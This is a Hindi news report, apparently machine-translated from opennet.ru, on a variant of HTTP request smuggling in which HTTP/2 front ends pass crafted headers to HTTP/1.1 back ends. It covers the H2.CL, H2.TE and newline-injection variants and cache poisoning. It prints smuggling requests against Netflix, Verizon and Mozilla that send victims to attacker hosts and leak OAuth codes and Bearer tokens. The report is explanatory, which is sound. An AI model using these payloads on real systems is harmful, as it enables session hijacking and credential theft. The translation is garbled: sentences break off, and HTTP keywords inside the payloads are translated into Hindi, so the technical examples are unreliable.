फ्रंट-एंड-बैकएंड सिस्टम पर एक नया हमला जो आपको अनुरोधों में घुसने की अनुमति देता है

वेब सिस्टम, जिसमें फ्रंट एंड HTTP/2 के माध्यम से कनेक्शन स्वीकार करता है और उन्हें HTTP/1.1 के माध्यम से बैकएंड तक पहुंचाता है, को "HTTP रिक्वेस्ट स्मगलिंग" हमले के एक नए संस्करण के संपर्क में लाया गया है, जो विशेष रूप से डिज़ाइन किए गए क्लाइंट अनुरोधों को भेजने की अनुमति देता है। फ्रंटएंड और बैकएंड के बीच समान प्रवाह में संसाधित अन्य उपयोगकर्ताओं के अनुरोधों की सामग्री में शामिल हों। हमले का उपयोग किसी वैध वेबसाइट के सत्र में दुर्भावनापूर्ण जावास्क्रिप्ट कोड डालने, पहुंच प्रतिबंध प्रणालियों को बायपास करने और प्रमाणीकरण मापदंडों को रोकने के लिए किया जा सकता है।

समस्या वेब प्रॉक्सी, लोड बैलेंसर्स, वेब एक्सेलेरेटर, सामग्री वितरण प्रणाली और अन्य कॉन्फ़िगरेशन को प्रभावित करती है जिसमें अनुरोधों को फ्रंट-एंड-टू-बैकएंड तरीके से पुनर्निर्देशित किया जाता है। अध्ययन के लेखक ने नेटफ्लिक्स, वेरिज़ॉन, बिटबकेट, नेटलिफाई सीडीएन और एटलसियन के सिस्टम पर हमला करने की संभावना का प्रदर्शन किया और कमजोरियों की पहचान करने के लिए इनाम कार्यक्रमों में 56 हजार डॉलर प्राप्त किए। F5 नेटवर्क उत्पादों में भी समस्या की पुष्टि की गई है। समस्या Apache http सर्वर (CVE-2021-33193) में mod_proxy को आंशिक रूप से प्रभावित करती है, संस्करण 2.4.49 में एक फिक्स की उम्मीद है (डेवलपर्स को मई की शुरुआत में समस्या के बारे में सूचित किया गया था और इसे ठीक करने के लिए 3 महीने का समय दिया गया था)। nginx में, "सामग्री-लंबाई" और "स्थानांतरण-एन्कोडिंग" हेडर को एक साथ निर्दिष्ट करने की क्षमता अंतिम रिलीज (1.21.1) में अवरुद्ध कर दी गई थी। आक्रमण उपकरण पहले से ही बर्प टूलकिट में शामिल हैं और टर्बो इंट्रूडर एक्सटेंशन के रूप में उपलब्ध हैं।

ट्रैफ़िक में अनुरोधों को शामिल करने की नई पद्धति के संचालन का सिद्धांत दो साल पहले उसी शोधकर्ता द्वारा पहचानी गई भेद्यता के समान है, लेकिन HTTP/1.1 पर अनुरोध स्वीकार करने वाले फ्रंटएंड तक सीमित है। आइए याद रखें कि फ्रंटएंड-बैकएंड योजना में, क्लाइंट अनुरोध एक अतिरिक्त नोड - फ्रंटएंड द्वारा प्राप्त किए जाते हैं, जो बैकएंड के साथ एक दीर्घकालिक टीसीपी कनेक्शन स्थापित करता है, जो सीधे अनुरोधों को संसाधित करता है। इस सामान्य कनेक्शन के माध्यम से, विभिन्न उपयोगकर्ताओं के अनुरोध आमतौर पर प्रसारित होते हैं, जो HTTP प्रोटोकॉल के माध्यम से अलग होकर एक के बाद एक श्रृंखला का अनुसरण करते हैं।

क्लासिक "HTTP रिक्वेस्ट स्मगलिंग" हमला इस तथ्य पर आधारित था कि फ्रंटएंड और बैकएंड HTTP हेडर "कंटेंट-लेंथ" (अनुरोध में डेटा का कुल आकार निर्धारित करता है) और "ट्रांसफर-एनकोडिंग: चंक्ड" (अनुमति देता है) के उपयोग की व्याख्या करता है। डेटा को भागों में स्थानांतरित किया जाना है) अलग-अलग। उदाहरण के लिए, यदि फ्रंटएंड केवल "कंटेंट-लेंथ" का समर्थन करता है लेकिन "ट्रांसफर-एनकोडिंग: चंक्ड" को नजरअंदाज करता है, तो एक हमलावर एक अनुरोध भेज सकता है जिसमें "कंटेंट-लेंथ" और "ट्रांसफर-एनकोडिंग: चंक्ड" हेडर दोनों शामिल हैं, लेकिन आकार "सामग्री-लंबाई" खंडित श्रृंखला के आकार से मेल नहीं खाता है। इस मामले में, फ्रंट एंड "कंटेंट-लेंथ" के अनुसार अनुरोध को संसाधित और पुनर्निर्देशित करेगा, और बैकएंड "ट्रांसफर-एनकोडिंग: चंक्ड" और हमलावर के अनुरोध की शेष पूंछ के आधार पर ब्लॉक के पूरा होने की प्रतीक्षा करेगा। किसी और के अनुरोध की शुरुआत में आगे प्रेषित किया जाएगा।

टेक्स्ट प्रोटोकॉल HTTP/1.1 के विपरीत, जिसे लाइन स्तर पर पार्स किया जाता है, HTTP/2 एक बाइनरी प्रोटोकॉल है और पूर्व-निर्दिष्ट आकार के डेटा ब्लॉक में हेरफेर करता है। हालाँकि, HTTP/2 छद्म-हेडर का उपयोग करता है जो नियमित HTTP हेडर के अनुरूप होता है। HTTP/1.1 प्रोटोकॉल के माध्यम से बैकएंड के साथ इंटरेक्शन के मामले में, फ्रंटएंड इन छद्म हेडर को समान HTTP हेडर HTTP/1.1 में अनुवादित करता है। समस्या यह है कि बैकएंड मूल अनुरोध के मापदंडों के बारे में जानकारी के बिना, फ्रंटएंड द्वारा निर्धारित HTTP हेडर के आधार पर स्ट्रीम को पार्स करने के बारे में निर्णय लेता है।

विशेष रूप से, "सामग्री-लंबाई" और "ट्रांसफर-एन्कोडिंग" मान को छद्म-हेडर के रूप में प्रेषित किया जा सकता है, इस तथ्य के बावजूद कि उनका उपयोग HTTP/2 में नहीं किया जाता है, क्योंकि सभी डेटा का आकार निर्धारित होता है एक अलग क्षेत्र में. हालाँकि, HTTP/2 अनुरोध को HTTP/1.1 में परिवर्तित करने की प्रक्रिया के दौरान, ये हेडर आगे ले जाए जाते हैं और बैकएंड को भ्रमित कर सकते हैं। दो मुख्य आक्रमण प्रकार हैं: H2.TE और H2.CL, जिसमें बैकएंड को गलत ट्रांसफर-एन्कोडिंग या सामग्री-लंबाई मान द्वारा गुमराह किया जाता है जो फ्रंटएंड द्वारा प्राप्त अनुरोध निकाय के वास्तविक आकार के अनुरूप नहीं होता है। HTTP/2 प्रोटोकॉल.

H2.CL हमले का एक उदाहरण नेटफ्लिक्स को HTTP/2 अनुरोध भेजते समय सामग्री-लंबाई छद्म-हेडर में गलत आकार निर्दिष्ट करना है। यह अनुरोध HTTP/1.1 के माध्यम से बैकएंड तक पहुंचने पर एक समान HTTP हेडर सामग्री-लंबाई को जोड़ने की ओर ले जाता है, लेकिन चूंकि सामग्री-लंबाई में आकार वास्तविक से कम निर्दिष्ट होता है, इसलिए पूंछ में डेटा का हिस्सा संसाधित किया जाता है अगले अनुरोध की शुरुआत.

उदाहरण के लिए, अनुरोध HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 होस्ट: 02.rs?x.netflix.com Foo: bar

परिणामस्वरूप एक अनुरोध बैकएंड पर भेजा जाएगा: POST /n HTTP/1.1 होस्ट: www.netflix.com सामग्री-लंबाई: 4 abcdGET /n HTTP/1.1 होस्ट: 02.rs?x.netflix.com Foo: bar

चूँकि सामग्री-लंबाई का मान 4 है, बैकएंड केवल "एबीसीडी" को अनुरोध के मुख्य भाग के रूप में स्वीकार करेगा, और शेष "जीईटी /एन HTTP/1.1..." को बाद के अनुरोध की शुरुआत के रूप में संसाधित किया जाएगा। किसी अन्य उपयोगकर्ता से संबद्ध. तदनुसार, स्ट्रीम डीसिंक्रनाइज़ हो जाएगी और अगले अनुरोध के जवाब में, डमी अनुरोध को संसाधित करने का परिणाम जारी किया जाएगा। नेटफ्लिक्स के मामले में, एक डमी अनुरोध में "होस्ट:" हेडर में एक तृतीय-पक्ष होस्ट निर्दिष्ट करने के परिणामस्वरूप क्लाइंट को "स्थान: https://02.rs?x.netflix.com/n" प्रतिक्रिया लौटानी पड़ी। नेटफ्लिक्स साइट के संदर्भ में अपना जावास्क्रिप्ट कोड चलाने सहित, क्लाइंट को मनमानी सामग्री भेजने की अनुमति दी गई।

दूसरे आक्रमण विकल्प (H2.TE) में "ट्रांसफर-एन्कोडिंग: चंक्ड" हेडर को प्रतिस्थापित करना शामिल है। HTTP/2 में ट्रांसफर-एन्कोडिंग छद्म-हेडर का उपयोग विनिर्देश द्वारा निषिद्ध है और इसके साथ अनुरोधों को गलत माना जाना निर्धारित है। इसके बावजूद, कुछ फ्रंटएंड कार्यान्वयन इस आवश्यकता को ध्यान में नहीं रखते हैं और HTTP/2 में ट्रांसफर-एन्कोडिंग छद्म-हेडर के उपयोग की अनुमति देते हैं, जिसे एक समान HTTP हेडर में परिवर्तित किया जाता है। यदि कोई "ट्रांसफर-एन्कोडिंग" हेडर है, तो बैकएंड इसे उच्च प्राथमिकता के रूप में ले सकता है और "{आकार}\r\n{ब्लॉक" प्रारूप में विभिन्न आकारों के ब्लॉक का उपयोग करके "चंक्ड" मोड में डेटा के टुकड़े को पार्स कर सकता है। }\r\n{size} \r\n{block}\r\n0", समग्र आकार द्वारा प्रारंभिक विभाजन के बावजूद।

इस तरह के अंतर की उपस्थिति को वेरिज़ोन के उदाहरण द्वारा प्रदर्शित किया गया था। समस्या प्रमाणीकरण पोर्टल और सामग्री प्रबंधन प्रणाली से संबंधित है, जिसका उपयोग हफिंगटन पोस्ट और एनगैजेट जैसी साइटों पर भी किया जाता है। उदाहरण के लिए, HTTP/2 के माध्यम से एक क्लाइंट अनुरोध: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ट्रांसफर-एन्कोडिंग खंडित 0 GET /oops HTTP/1.1 होस्ट: psres.net सामग्री-लंबाई: 10 एक्स=

बैकएंड पर HTTP/1.1 अनुरोध भेजने के परिणामस्वरूप: POST /identity/XUI HTTP/1.1 होस्ट: id.b2b.oath.com सामग्री-लंबाई: 66 ट्रांसफर-एन्कोडिंग: खंडित 0 GET /उफ़ HTTP/1.1 होस्ट: psres। शुद्ध सामग्री- लंबाई: 10x=

बदले में, बैकएंड ने "कंटेंट-लेंथ" हेडर को नजरअंदाज कर दिया और "ट्रांसफर-एन्कोडिंग: चंक्ड" के आधार पर इन-स्ट्रीम विभाजन किया। व्यवहार में, हमले ने उपयोगकर्ता के अनुरोधों को उनकी वेबसाइट पर पुनर्निर्देशित करना संभव बना दिया, जिसमें OAuth प्रमाणीकरण से संबंधित अनुरोधों को रोकना शामिल था, जिसके पैरामीटर रेफरर हेडर में प्रदर्शित किए गए थे, साथ ही एक प्रमाणीकरण सत्र का अनुकरण करना और क्रेडेंशियल भेजने के लिए उपयोगकर्ता के सिस्टम को ट्रिगर करना भी शामिल था। हमलावर के मेज़बान को. प्राप्त करें /b2blanding/show/oops HTTP/1.1 होस्ट: psres.net रेफरर: https://id.b2b.oath.com/?…&code=secret प्राप्त करें / HTTP/1.1 होस्ट: psres.net प्राधिकरण: बियरर eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

HTTP/2 कार्यान्वयन पर हमला करने के लिए जो ट्रांसफर-एन्कोडिंग छद्म-हेडर को निर्दिष्ट करने की अनुमति नहीं देता है, एक अन्य विधि प्रस्तावित की गई है जिसमें "ट्रांसफर-एन्कोडिंग" हेडर को एक न्यूलाइन कैरेक्टर द्वारा अलग किए गए अन्य छद्म-हेडर से जोड़कर प्रतिस्थापित करना शामिल है ( जब इस मामले में HTTP/1.1 में कनवर्ट किया जाता है तो दो अलग-अलग HTTP हेडर बनते हैं)।

उदाहरण के लिए, एटलसियन जीरा और नेटलिफाई सीडीएन (फ़ायरफ़ॉक्स में मोज़िला प्रारंभ पृष्ठ की सेवा के लिए प्रयुक्त) इस समस्या से प्रभावित थे। विशेष रूप से, HTTP/2 अनुरोध :विधि पोस्ट :पथ / :प्राधिकरण प्रारंभ.मोज़िला.org foo b\r\n ट्रांसफर-एन्कोडिंग: खंडित 0\r\n \r\n GET / HTTP/1.1\r\n होस्ट : ईविल-नेटलिफाई-डोमेन\r\n सामग्री-लंबाई: 5\r\n \r\nx=

परिणामस्वरूप HTTP/1.1 POST / HTTP/1.1 अनुरोध बैकएंड\r\n होस्ट को भेजा जा रहा है:start.mozilla.org\r\n Foo: b\r\n ट्रांसफर-एन्कोडिंग: खंडित\r\n सामग्री-लंबाई : 71\ r\n \r\n 0\r\n \r\n प्राप्त करें / HTTP/1.1\r\n होस्ट: ईविल-नेटलिफाई-डोमेन\r\n सामग्री-लंबाई: 5\r\n \r \nx=

"ट्रांसफर-एनकोडिंग" हेडर को प्रतिस्थापित करने का एक अन्य विकल्प इसे किसी अन्य छद्म हेडर के नाम या अनुरोध विधि के साथ एक पंक्ति में संलग्न करना था। उदाहरण के लिए, एटलसियन जिरा तक पहुंचने पर, छद्म-हेडर नाम "foo: bar\r\ntransfer-encoding" के साथ "chunked" मान HTTP हेडर "foo: bar" और "transfer-encoding: chunked" को जोड़ने का कारण बना। , और छद्म-हेडर ":विधि" मान निर्दिष्ट करते हुए "GET / HTTP/1.1\r\nTransfer-encoding: chunked" का अनुवाद "GET / HTTP/1.1\r\ntransfer-encoding: chunked" में किया गया।

समस्या की पहचान करने वाले शोधकर्ता ने फ्रंटएंड पर हमला करने के लिए एक अनुरोध टनलिंग तकनीक का भी प्रस्ताव रखा, जिसमें प्रत्येक आईपी पता बैकएंड से एक अलग कनेक्शन स्थापित करता है और विभिन्न उपयोगकर्ताओं से ट्रैफ़िक मिश्रित नहीं होता है। प्रस्तावित तकनीक अन्य उपयोगकर्ताओं के अनुरोधों में हस्तक्षेप करने की अनुमति नहीं देती है, लेकिन साझा कैश को जहर देना संभव बनाती है जो अन्य अनुरोधों के प्रसंस्करण को प्रभावित करती है, और फ्रंटएंड से बैकएंड तक सेवा जानकारी स्थानांतरित करने के लिए उपयोग किए जाने वाले आंतरिक HTTP हेडर के प्रतिस्थापन की अनुमति देती है ( उदाहरण के लिए, ऐसे हेडर में फ्रंटएंड साइड पर प्रमाणीकरण करते समय वर्तमान उपयोगकर्ता के बारे में जानकारी बैकएंड तक प्रेषित की जा सकती है)। व्यवहार में विधि को लागू करने के एक उदाहरण के रूप में, कैश पॉइज़निंग का उपयोग करके, बिटबकेट सेवा में पृष्ठों पर नियंत्रण हासिल करना संभव था।

स्रोत: opennet.ru